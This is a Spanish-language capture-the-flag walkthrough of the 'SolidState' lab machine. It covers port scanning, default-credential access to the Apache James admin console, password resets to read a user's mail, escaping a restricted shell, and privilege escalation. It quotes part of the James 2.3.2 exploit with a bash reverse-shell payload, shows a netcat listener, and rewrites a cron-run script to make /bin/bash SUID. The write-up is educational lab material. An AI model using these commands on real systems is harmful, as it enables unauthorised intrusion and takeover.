SolidState - Writeup

RECONOCIMIENTO - EXPLOTACION

Realizamos un escaneo de puertos con nmap:

```
22/tcp  open  ssh     syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp5WdwlckuF4slNUO29xOk/Yl/cnXT/p6qwezI0ye+4iRSyor8
iDpvXq1+r5fVw26WpTCdawGKkaOMYoSWvliBsbwMLJEUwVbZ/GZ1SUEswpYkyZeiSC1qk72L6CiZ9/5za4MTZw8Cq0
F0qJUxKXArEDvsp7OkuQ0fktXXkZuyN/GRFeu3im7uQVuDgiXFKbEfmoQAsvLrR8YiKFUG6QBdI9awwmTkLFbS1Z
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBISyhm1hXZNQl3cs
TrRRyvHPiUQ+eE=
|   256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMKbFbK3MJqjMh9oEw/2OVe0isA7e3ruHz5fhUP4cVgY
25/tcp   open  smtp    syn-ack ttl 63 JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.5 [10.10.14.5])
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
|_http-server-header: Apache/2.4.25 (Debian)
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
110/tcp  open  pop3    syn-ack ttl 63 JAMES pop3d 2.3.2
119/tcp  open  nntp    syn-ack ttl 63 JAMES nntpd (posting ok)
4555/tcp open  rsip?   syn-ack ttl 63
| fingerprint-strings:
|   GenericLines:
|     JAMES Remote Administration Tool 2.3.2
|     Please enter your login and password
|     Login id:
|     Password:
```

Vemos que el puerto 25 corresponde al protocolo SMTP, que es el servidor de correo. Vamos a ver si existe alguna vulnerabilidad para "James smtp":

```
└─$ searchsploit james
 Exploit Title
Apache James Server 2.2 - SMTP Denial of Service
Apache James Server 2.3.2 - Insecure User Creation Arbitrary File Write (Metasploit)
Apache James Server 2.3.2 - Remote Command Execution
Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2)
WheresJames Webcam Publisher Beta 2.0.0014 - Remote Buffer Overflow
```

Este exploit enviara una reverse shell a traves del correo, cuando un usuario se conecte por SSH se ejecutara la reverse shell.

Por otro lado tenemos el puerto 4555 que es un puerto donde se administra la configuracion del servidor de correo "James". Entramos con las credenciales por defecto root:root

```
└─$ telnet 10.10.10.51 4555
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
```

Vamos a ver que comandos podemos ejecutar:

```
Currently implemented commands:
help                                    display this help
listusers                               display existing accounts
countusers                              display the number of existing accounts
adduser [username] [password]           add a new user
verify [username]                       verify if specified user exist
deluser [username]                      delete existing user
setpassword [username] [password]       sets a user's password
setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
showalias [username]                    shows a user's current email alias
unsetalias [user]                       unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email address
showforwarding [username]               shows a user's current email forwarding
unsetforwarding [username]              removes a forward
user [repositoryname]                   change to another user repository
shutdown                                kills the current JVM (convenient when James is run as a daemon)
quit                                    close connection
```

Como podemos ver, podemos cambiar la contraseña del correo de los usuarios para luego poder acceder a el. Vamos a listar los usuarios:

```
Existing accounts 6
user: james
user: ../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin
```

Vamos a cambiar la contraseña de mindy para poder ver sus correos:

```
setpassword mindy mindy123
Password for mindy reset
```

Para ver los correos recibidos nos tenemos que conectar al puerto 110. Iniciamos sesion con la nueva contraseña:

```
└─$ telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
USER mindy
+OK
PASS mindy123
+OK Welcome mindy
```

Para listar correos ejecutamos el comando LIST:

```
LISt
+OK 2 1945
1 1109
2 836
```

Vemos que tenemos 2 correos. En el segundo le estan enviando las credenciales de mindy para poder conectarnos:

```
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James
```

Nos podemos conectar como mindy por ssh pero tenemos un problema, utiliza la shell "rbash" que es la "restricted bash". No podemos ejecutar el comando "cd" por ejemplo:

```
mindy@solidstate:~$ cd ..
-rbash: cd: restricted
```

En la restricted bash solo podemos ejecutar los comandos que esten dentro de la variable $PATH.

```
mindy@solidstate:~$ echo $PATH
/home/mindy/bin
mindy@solidstate:~$ ls /home/mindy/bin/
cat  env  ls
```

Como solo podemos ejecutar 3 comandos tenemos que conseguir cambiar de "shell" a bash para no tener esa restriccion. Tenemos 2 opciones:

1. Enviar una reverse shell a traves de la vulnerabilidad de la version de "James". Cuando un usuario se loge se envia una bash reverse shell al puerto asignado:

```
user = 'root'
pwd = 'root'

if len(sys.argv) != 4:
    sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0])
    sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0])
    sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n")
    sys.exit(1)

remote_ip = sys.argv[1]
local_ip = sys.argv[2]
port = sys.argv[3]

# Select payload prior to running script - default is a reverse shell executed upon any user logging in (i.e. via SSH)
payload = '/bin/bash -i >& /dev/tcp/' + local_ip + '/' + port + ' 0>&1' # basic bash reverse shell exploit executes after user login
```

```
└─$ python3 50347.py 10.10.10.51 10.10.10.14 1234
[+]Payload Selected (see script for more options):  /bin/bash -i >& /dev/tcp/10.10.10.14/1234 0>&1
[+]Example netcat listener syntax to use after successful execution: nc -lvnp 1234
[+]Connecting to James Remote Administration Tool ...
[+]Creating user ...
[+]Connecting to James SMTP server ...
[+]Sending payload ...
[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).
[+]Don't forget to start a listener on port 1234 before logging in!
```

Ahora nos logeamos, recibimos al reverse shell y podemos ejecutar cualquier comando:

```
└─$ ssh mindy@10.10.10.51
mindy@10.10.10.51's password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-
06) i686

The programs included with the Debian GNU/Linux system are free software
;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
```

```
┌──(kali㉿kali)-[~/Downloads]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.51] 44600
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ cd /
cd /
${debian_chroot:+($debian_chroot)}mindy@solidstate:/$
```

2. Ejecutarnos la bash a la vez que nos logeamos:

```
└─$ ssh mindy@10.10.10.51 bash
mindy@10.10.10.51's password:
whoami
mindy
```

Vamos a seguir con la segunda opcion, ahora tenemos que realizar un tratamiento de la terminal:

```
script /dev/null -c bash
Script started, file is /dev/null
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ^Z
zsh: suspended  ssh mindy@10.10.10.51 bash

┌──(kali㉿kali)-[~/Downloads]
└─$ stty raw -echo; fg
[1]  + continued  ssh mindy@10.10.10.51 bash
                                              export TERM=xterm
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$
```

Nos detecta como que estamos en una "restricted bash" pero realmente estamos en una bash "bash"

ESCALADA DE PRIVILEGIOS

Localizamos un archivo "tmp.py" en "/opt":

```
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -la
total 16
drwxr-xr-x  3 root root 4096 Aug 22  2017 .
drwxr-xr-x 22 root root 4096 May 27  2022 ..
drwxr-xr-x 11 root root 4096 Apr 26  2021 james-2.3.2
-rwxrwxrwx  1 root root  105 Aug 22  2017 tmp.py
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
except:
     sys.exit()
```

Lo que hace este script es eliminar toods los archivos que hay dentro del directorio /tmp. Seguramente se este ejecutando a traves de una tarea programada. Como tenemos permisos de escritura, vamos a modificar el comando dentro de "os.system" para que en vez de eliminar los archivos dentro de /tmp, nos otorgue permisos SUID en /bin/bash. Esto nos permitira ejecutar la bash en modo privilegiado:

```
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ cat tmp.py
#!/usr/bin/env python
import os
os.system('chmod +s /bin/bash')
```

```
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1265272 May 15  2017 /bin/bash
```

```
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ /bin/bash -p
bash-4.4# whoami
root
```